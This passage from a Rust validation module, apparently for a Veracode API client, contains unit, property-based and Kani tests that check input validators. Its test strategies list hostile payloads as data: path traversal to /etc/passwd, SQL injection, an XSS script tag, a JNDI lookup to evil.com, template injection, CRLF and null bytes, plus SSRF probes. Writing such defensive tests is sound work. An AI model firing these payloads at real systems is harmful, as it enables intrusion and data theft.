1040            Err(ValidationError::InvalidScanIdCharacters)
1041        ));
1042
1043        // Ampersand injection
1044        let result = validate_scan_id("scan&param=value");
1045        assert!(result.is_err());
1046        assert!(matches!(
1047            result,
1048            Err(ValidationError::InvalidScanIdCharacters)
1049        ));
1050
1051        // Equals sign injection
1052        let result = validate_scan_id("scan=admin");
1053        assert!(result.is_err());
1054        assert!(matches!(
1055            result,
1056            Err(ValidationError::InvalidScanIdCharacters)
1057        ));
1058
1059        // Semicolon injection
1060        let result = validate_scan_id("scan;drop table");
1061        assert!(result.is_err());
1062        assert!(matches!(
1063            result,
1064            Err(ValidationError::InvalidScanIdCharacters)
1065        ));
1066
1067        // Space
1068        let result = validate_scan_id("scan id");
1069        assert!(result.is_err());
1070        assert!(matches!(
1071            result,
1072            Err(ValidationError::InvalidScanIdCharacters)
1073        ));
1074
1075        // Special characters
1076        let result = validate_scan_id("scan@host");
1077        assert!(result.is_err());
1078        assert!(matches!(
1079            result,
1080            Err(ValidationError::InvalidScanIdCharacters)
1081        ));
1082
1083        let result = validate_scan_id("scan#fragment");
1084        assert!(result.is_err());
1085        assert!(matches!(
1086            result,
1087            Err(ValidationError::InvalidScanIdCharacters)
1088        ));
1089    }
1090
1091    #[test]
1092    fn test_validate_scan_id_max_length() {
1093        // Exactly at max length should pass
1094        let max_id = "a".repeat(MAX_SCAN_ID_LEN);
1095        assert!(validate_scan_id(&max_id).is_ok());
1096    }
1097}
1098
1099// Property-based security tests for validation functions
1100#[cfg(test)]
1101mod proptest_security {
1102    use super::*;
1103    use proptest::prelude::*;
1104
1105    // Strategy for generating valid UUID v4 GUIDs
1106    fn valid_uuid_strategy() -> impl Strategy<Value = String> {
1107        // Generate valid UUIDs: 8-4-4-4-12 hex digits with hyphens
1108        "[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}"
1109    }
1110
1111    // Strategy for generating path traversal sequences
1112    fn path_traversal_strategy() -> impl Strategy<Value = String> {
1113        prop_oneof![
1114            Just("../".to_string()),
1115            Just("..\\".to_string()),
1116            Just("../../".to_string()),
1117            Just("..\\..\\".to_string()),
1118            Just("/etc/passwd".to_string()),
1119            Just("\\windows\\system32".to_string()),
1120            Just("....//".to_string()),
1121            Just("..;/".to_string()),
1122        ]
1123    }
1124
1125    // Strategy for generating injection attack strings
1126    fn injection_strategy() -> impl Strategy<Value = String> {
1127        prop_oneof![
1128            Just("'; DROP TABLE users--".to_string()),
1129            Just("<script>alert('xss')</script>".to_string()),
1130            Just("${jndi:ldap://evil.com/a}".to_string()),
1131            Just("{{7*7}}".to_string()),
1132            Just("%0a%0d".to_string()),
1133            Just("\0null\0byte".to_string()),
1134            Just("admin' OR '1'='1".to_string()),
1135            Just("&admin=true".to_string()),
1136            Just("?param=value".to_string()),
1137        ]
1138    }
1139
1140    proptest! {
1141        #![proptest_config(ProptestConfig {
1142            cases: if cfg!(miri) { 5 } else { 1000 },
1143            failure_persistence: None,
1144            .. ProptestConfig::default()
1145        })]
1146
1147        // Property: Valid UUIDs are always accepted
1148        #[test]
1149        fn prop_valid_uuids_accepted(uuid in valid_uuid_strategy()) {
1150            let result = AppGuid::new(&uuid);
1151            prop_assert!(result.is_ok(), "Valid UUID should be accepted: {}", uuid);
1152        }
1153
1154        // Property: Path traversal in GUID is always rejected
1155        #[test]
1156        fn prop_guid_rejects_path_traversal(
1157            traversal in path_traversal_strategy(),
1158            valid_uuid in valid_uuid_strategy()
1159        ) {
1160            // Try path traversal embedded in UUID
1161            let combined = format!("{}{}", valid_uuid, traversal);
1162            prop_assert!(AppGuid::new(&combined).is_err());
1163
1164            // Also verify that traversal strings are rejected
1165            let result = AppGuid::new(&traversal);
1166            prop_assert!(result.is_err(), "Path traversal should be rejected: {}", traversal);
1167        }
1168
1169        // Property: Empty strings are rejected for GUIDs
1170        #[test]
1171        fn prop_guid_rejects_empty(whitespace in r"\s*") {
1172            prop_assert!(AppGuid::new(whitespace).is_err());
1173        }
1174
1175        // Property: Oversized GUIDs are rejected
1176        #[test]
1177        fn prop_guid_rejects_oversized(extra_chars in 1..=100usize) {
1178            let long_string = "a".repeat(MAX_GUID_LEN.saturating_add(extra_chars));
1179            prop_assert!(AppGuid::new(long_string).is_err());
1180        }
1181
1182        // Property: AppName trims whitespace correctly
1183        #[test]
1184        fn prop_appname_trims_whitespace(
1185            name in "[a-zA-Z0-9 ]{1,100}",
1186            leading in r"\s{0,10}",
1187            trailing in r"\s{0,10}"
1188        ) {
1189            let input = format!("{}{}{}", leading, name, trailing);
1190            if let Ok(app_name) = AppName::new(&input) {
1191                let trimmed = name.trim();
1192                prop_assert_eq!(app_name.as_str(), trimmed);
1193                prop_assert!(!app_name.as_str().starts_with(' '));
1194                prop_assert!(!app_name.as_str().ends_with(' '));
1195            }
1196        }
1197
1198        // Property: AppName rejects path traversal
1199        #[test]
1200        fn prop_appname_rejects_path_traversal(traversal in path_traversal_strategy()) {
1201            prop_assert!(AppName::new(traversal).is_err());
1202        }
1203
1204        // Property: AppName rejects control characters (except those that trim away)
1205        #[test]
1206        fn prop_appname_rejects_control_chars(
1207            prefix in "[a-zA-Z]{1,10}",
1208            suffix in "[a-zA-Z]{1,10}",
1209            control_char in 0x00u8..0x20u8
1210        ) {
1211            // Put control char in the middle so it won't be trimmed
1212            let input = format!("{}{}{}", prefix, char::from(control_char), suffix);
1213            let trimmed = input.trim();
1214
1215            // If the control char survives trimming, it should be rejected
1216            if trimmed.chars().any(|c| c.is_control()) {
1217                prop_assert!(AppName::new(&input).is_err());
1218            }
1219        }
1220
1221        // Property: AppName enforces length bounds
1222        #[test]
1223        fn prop_appname_enforces_length(extra in 1..=100usize) {
1224            let too_long = "a".repeat(MAX_APP_NAME_LEN.saturating_add(extra));
1225            prop_assert!(AppName::new(too_long).is_err());
1226        }
1227
1228        // Property: Description rejects null bytes
1229        #[test]
1230        fn prop_description_rejects_null_bytes(
1231            prefix in "[a-zA-Z0-9 ]{0,100}",
1232            suffix in "[a-zA-Z0-9 ]{0,100}"
1233        ) {
1234            let with_null = format!("{}\0{}", prefix, suffix);
1235            prop_assert!(Description::new(with_null).is_err());
1236        }
1237
1238        // Property: Description enforces length bounds
1239        #[test]
1240        fn prop_description_enforces_length(extra in 1..=1000usize) {
1241            let too_long = "a".repeat(MAX_DESCRIPTION_LEN.saturating_add(extra));
1242            prop_assert!(Description::new(too_long).is_err());
1243        }
1244
1245        // Property: validate_url_segment rejects path traversal
1246        #[test]
1247        fn prop_url_segment_rejects_traversal(traversal in path_traversal_strategy()) {
1248            prop_assert!(validate_url_segment(&traversal, 1000).is_err());
1249        }
1250
1251        // Property: validate_url_segment rejects control characters
1252        #[test]
1253        fn prop_url_segment_rejects_control_chars(
1254            prefix in "[a-zA-Z]{1,10}",
1255            control_char in 0x00u8..0x20u8
1256        ) {
1257            let input = format!("{}{}", prefix, char::from(control_char));
1258            prop_assert!(validate_url_segment(&input, 1000).is_err());
1259        }
1260
1261        // Property: validate_url_segment enforces max_len
1262        #[test]
1263        fn prop_url_segment_enforces_max_len(
1264            segment in "[a-zA-Z0-9_-]{50,100}",
1265            max_len in 1..50usize
1266        ) {
1267            if segment.len() > max_len {
1268                prop_assert!(validate_url_segment(&segment, max_len).is_err());
1269            }
1270        }
1271
1272        // Property: validate_page_size returns default for None
1273        #[test]
1274        fn prop_page_size_default_on_none(_unit in prop::bool::ANY) {
1275            prop_assert_eq!(validate_page_size(None).expect("Should return default page size"), DEFAULT_PAGE_SIZE);
1276        }
1277
1278        // Property: validate_page_size rejects zero
1279        #[test]
1280        fn prop_page_size_rejects_zero(_unit in prop::bool::ANY) {
1281            prop_assert!(validate_page_size(Some(0)).is_err());
1282        }
1283
1284        // Property: validate_page_size caps at maximum
1285        #[test]
1286        fn prop_page_size_caps_at_max(size in (MAX_PAGE_SIZE + 1)..=u32::MAX) {
1287            let result = validate_page_size(Some(size)).expect("Should cap at max page size");
1288            prop_assert_eq!(result, MAX_PAGE_SIZE);
1289            prop_assert!(result <= MAX_PAGE_SIZE);
1290        }
1291
1292        // Property: validate_page_size accepts valid range
1293        #[test]
1294        fn prop_page_size_accepts_valid(size in 1..=MAX_PAGE_SIZE) {
1295            let result = validate_page_size(Some(size)).expect("Valid page size should be accepted");
1296            prop_assert_eq!(result, size);
1297        }
1298
1299        // Property: validate_page_number returns None for None
1300        #[test]
1301        fn prop_page_number_none_on_none(_unit in prop::bool::ANY) {
1302            prop_assert_eq!(validate_page_number(None).expect("Should return None for None input"), None);
1303        }
1304
1305        // Property: validate_page_number caps at maximum
1306        #[test]
1307        fn prop_page_number_caps_at_max(page in (MAX_PAGE_NUMBER + 1)..=u32::MAX) {
1308            let result = validate_page_number(Some(page)).expect("Should cap at max page number");
1309            prop_assert_eq!(result, Some(MAX_PAGE_NUMBER));
1310        }
1311
1312        // Property: validate_page_number accepts valid range
1313        #[test]
1314        fn prop_page_number_accepts_valid(page in 0..=MAX_PAGE_NUMBER) {
1315            let result = validate_page_number(Some(page)).expect("Valid page number should be accepted");
1316            prop_assert_eq!(result, Some(page));
1317        }
1318
1319        // Property: encode_query_param neutralizes injection characters
1320        #[test]
1321        fn prop_encode_neutralizes_injection(value in ".*") {
1322            let encoded = encode_query_param(&value);
1323
1324            // Dangerous characters should be encoded
1325            if value.contains('&') {
1326                prop_assert!(encoded.contains("%26"), "& should be encoded to %26");
1327            }
1328            if value.contains('=') {
1329                prop_assert!(encoded.contains("%3D"), "= should be encoded to %3D");
1330            }
1331            if value.contains(';') {
1332                prop_assert!(encoded.contains("%3B"), "; should be encoded to %3B");
1333            }
1334            if value.contains('?') {
1335                prop_assert!(encoded.contains("%3F"), "? should be encoded to %3F");
1336            }
1337        }
1338
1339        // Property: encode_query_param is idempotent (encoding twice is safe)
1340        #[test]
1341        fn prop_encode_is_idempotent(value in ".*") {
1342            let encoded_once = encode_query_param(&value);
1343            let encoded_twice = encode_query_param(&encoded_once);
1344            // The second encoding should escape the % signs from first encoding
1345            prop_assert!(encoded_twice.contains("%25") || encoded_once == encoded_twice);
1346        }
1347
1348        // Property: build_query_param properly encodes values
1349        #[test]
1350        fn prop_build_query_param_encodes(
1351            key in "[a-zA-Z_][a-zA-Z0-9_]{0,20}",
1352            value in ".*"
1353        ) {
1354            let (result_key, result_value) = build_query_param(&key, &value);
1355            prop_assert_eq!(result_key, key);
1356            prop_assert_eq!(result_value, encode_query_param(&value));
1357        }
1358
1359        // Property: validate_veracode_url rejects non-HTTPS
1360        #[test]
1361        fn prop_veracode_url_rejects_http(
1362            subdomain in "[a-z]{3,10}",
1363            tld in prop::sample::select(vec!["com", "eu", "us"])
1364        ) {
1365            let url = format!("http://{}.veracode.{}/path", subdomain, tld);
1366            prop_assert!(validate_veracode_url(&url).is_err());
1367        }
1368
1369        // Property: validate_veracode_url rejects non-veracode domains
1370        #[test]
1371        fn prop_veracode_url_rejects_wrong_domain(
1372            domain in "[a-z]{5,15}",
1373            tld in "[a-z]{2,3}"
1374        ) {
1375            // Skip if accidentally generated a valid veracode domain
1376            prop_assume!(domain != "veracode");
1377
1378            let url = format!("https://{}.{}/path", domain, tld);
1379            prop_assert!(validate_veracode_url(&url).is_err());
1380        }
1381
1382        // Property: validate_veracode_url accepts valid domains
1383        #[test]
1384        fn prop_veracode_url_accepts_valid(
1385            subdomain in "[a-z]{3,10}",
1386            tld in prop::sample::select(vec!["com", "eu", "us"]),
1387            path in "[a-z0-9/_-]{0,50}"
1388        ) {
1389            let url = format!("https://{}.veracode.{}/{}", subdomain, tld, path);
1390            prop_assert!(validate_veracode_url(&url).is_ok());
1391        }
1392
1393        // Property: validate_veracode_url blocks localhost SSRF
1394        #[test]
1395        fn prop_veracode_url_blocks_localhost(
1396            port in 1..=65535u16,
1397            path in "[a-z0-9/_-]{0,20}"
1398        ) {
1399            let url = format!("https://localhost:{}/{}", port, path);
1400            prop_assert!(validate_veracode_url(&url).is_err());
1401        }
1402
1403        // Property: validate_veracode_url blocks IP address SSRF
1404        #[test]
1405        fn prop_veracode_url_blocks_ip_addresses(
1406            a in 0..=255u8,
1407            b in 0..=255u8,
1408            c in 0..=255u8,
1409            d in 0..=255u8
1410        ) {
1411            let url = format!("https://{}.{}.{}.{}/path", a, b, c, d);
1412            prop_assert!(validate_veracode_url(&url).is_err());
1413        }
1414
1415        // Property: validate_scan_id rejects empty strings
1416        #[test]
1417        fn prop_scan_id_rejects_empty(_unit in prop::bool::ANY) {
1418            prop_assert!(validate_scan_id("").is_err());
1419        }
1420
1421        // Property: validate_scan_id enforces length bounds
1422        #[test]
1423        fn prop_scan_id_enforces_length(extra in 1..=100usize) {
1424            let too_long = "a".repeat(MAX_SCAN_ID_LEN.saturating_add(extra));
1425            prop_assert!(validate_scan_id(&too_long).is_err());
1426        }
1427
1428        // Property: validate_scan_id rejects path traversal
1429        #[test]
1430        fn prop_scan_id_rejects_traversal(traversal in path_traversal_strategy()) {
1431            prop_assert!(validate_scan_id(&traversal).is_err());
1432        }
1433
1434        // Property: validate_scan_id accepts only alphanumeric, hyphen, underscore
1435        #[test]
1436        fn prop_scan_id_accepts_valid_chars(
1437            scan_id in "[a-zA-Z0-9_-]{1,128}"
1438        ) {
1439            prop_assert!(validate_scan_id(&scan_id).is_ok());
1440        }
1441
1442        // Property: validate_scan_id rejects special characters
1443        #[test]
1444        fn prop_scan_id_rejects_special_chars(
1445            special_char in prop::sample::select(vec!['?', '&', '=', ';', '/', '\\', '.', ' ', '@', '#', '%'])
1446        ) {
1447            let invalid_id = format!("scan{}id", special_char);
1448            prop_assert!(validate_scan_id(&invalid_id).is_err());
1449        }
1450
1451        // Property: Injection attempts in scan_id are always rejected
1452        #[test]
1453        fn prop_scan_id_rejects_injection(injection in injection_strategy()) {
1454            prop_assert!(validate_scan_id(&injection).is_err());
1455        }
1456    }
1457}
1458
1459// Kani formal verification harnesses for critical security properties
1460#[cfg(kani)]
1461mod kani_proofs {
1462    use super::*;
1463
1464    // NOTE: String-based Kani proofs removed due to excessive memory consumption.
1465    // Even with bounded byte arrays (256 bytes), these proofs cause OOM kills
1466    // because CBMC must explore exponential state space for string operations.
1467    //
1468    // These security properties are thoroughly tested via:
1469    // - proptest: 100s of random test cases with shrinking
1470    // - miri: undefined behavior detection on all proptest cases
1471    // - unit tests: concrete test cases for specific attack vectors
1472    //
1473    // The numeric proofs below verify efficiently and provide formal guarantees.
1474
1475    /// Verifies that validate_page_size caps values at MAX_PAGE_SIZE.
1476    ///
1477    /// This proof formally verifies DoS protection by ensuring that
1478    /// no page size can exceed the maximum allowed value.
1479    #[kani::proof]
1480    fn verify_page_size_caps_at_maximum() {
1481        let size: u32 = kani::any();
1482
1483        let result = validate_page_size(Some(size));
1484
1485        // The result must never exceed MAX_PAGE_SIZE
1486        if let Ok(validated_size) = result {
1487            assert!(
1488                validated_size <= MAX_PAGE_SIZE,
1489                "Page size must be capped at maximum"
1490            );
1491        }
1492    }
1493
1494    /// Verifies that validate_page_size rejects zero.
1495    ///
1496    /// This proof formally verifies that zero page sizes are always rejected,
1497    /// preventing division by zero and infinite loop attacks.
1498    #[kani::proof]
1499    fn verify_page_size_rejects_zero() {
1500        let result = validate_page_size(Some(0));
1501        assert!(result.is_err(), "Zero page size must be rejected");
1502    }
1503
1504    /// Verifies that validate_page_number caps values at MAX_PAGE_NUMBER.
1505    ///
1506    /// This proof formally verifies DoS protection by ensuring that
1507    /// no page number can exceed the maximum allowed value.
1508    #[kani::proof]
1509    fn verify_page_number_caps_at_maximum() {
1510        let page: u32 = kani::any();
1511
1512        let result = validate_page_number(Some(page));
1513
1514        // The result must never exceed MAX_PAGE_NUMBER
1515        if let Ok(Some(validated_page)) = result {
1516            assert!(
1517                validated_page <= MAX_PAGE_NUMBER,
1518                "Page number must be capped at maximum"
1519            );
1520        }
1521    }
1522}